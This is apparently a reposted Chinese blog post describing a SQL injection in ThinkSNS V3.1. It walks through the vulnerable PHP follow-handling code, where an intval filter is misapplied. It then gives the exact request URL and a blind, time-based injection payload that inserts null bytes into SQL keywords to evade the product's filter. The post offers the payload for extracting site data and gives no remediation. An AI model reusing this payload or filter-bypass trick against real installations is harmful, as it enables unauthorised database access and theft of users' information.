zoukankan      html  css  js  c++  java
  • ThinkSNS 防御绕过思路

    ThinkSNS 防御绕过思路(union select 真正的无限制sql注射)

    public function bulkDoFollow() {
            // 安全过滤
        $res = $this->_follow_model->bulkDoFollow($this->mid, t($_POST['fids']));
        $this->ajaxReturn($res$this->_follow_model->getError(), false !== $res);
        }

    跟进bulkDoFollow

    public function bulkDoFollow($uid$fids) {
    $follow_states = $this->getFollowStateByFids($uid$fids);

    跟进:getFollowStateByFids
     

    public function getFollowStateByFids($uid$fids) {

    array_map( 'intval' , $fids);

    $_fids = is_array($fids) ? implode(',', $fids) : $fids;
    if(empty($_fids)) {
    return array();
    }

    $follow_data = $this->where(" ( uid = '{$uid}' AND fid IN({$_fids}) ) OR ( uid IN({$_fids}) and fid = '{$uid}')")->findAll();

    $follow_states = $this->_formatFollowState($uid$fids$follow_data);
    看着一段逻辑
     

    array_map( 'intval' , $fids);


    $_fids = is_array($fids) ? implode(',', $fids) : $fids;

    fids如果是一个字符串

    array_map( 'intval' , "1,2,3"); 这个是会报警告的,但是程序还是会往下执行

    所以造成注入

    发送url:

    http://localhost/ThinkSNS_V3.1_20131108_28822/index.php?app=public&mod=Follow&act=bulkDoFollow

    postdata:

    fids=1,2,if(ascii(substr((sele%00ct user() fr%00om ts_atme limit 0,1),slee%00p(3),1))=114,5,1)))#

    造成全站信息可以猜测
  • 相关阅读:
    sentinel集群刚开始好的,过几分钟就崩了
    redis主从文件权限问题
    centos7下解决keepalived双机都为master问题
    windows局域网共享文件夹
    最近JS的一些问题
    总结下html、css的一些东西
    Less、一些选择器
    常见布局、媒体查询
    audio标签、HOVER效果、rgba和opacity、隐藏场景
    护工列表页
  • 原文地址:https://www.cnblogs.com/hackforfun/p/4401065.html
Copyright © 2011-2022 走看看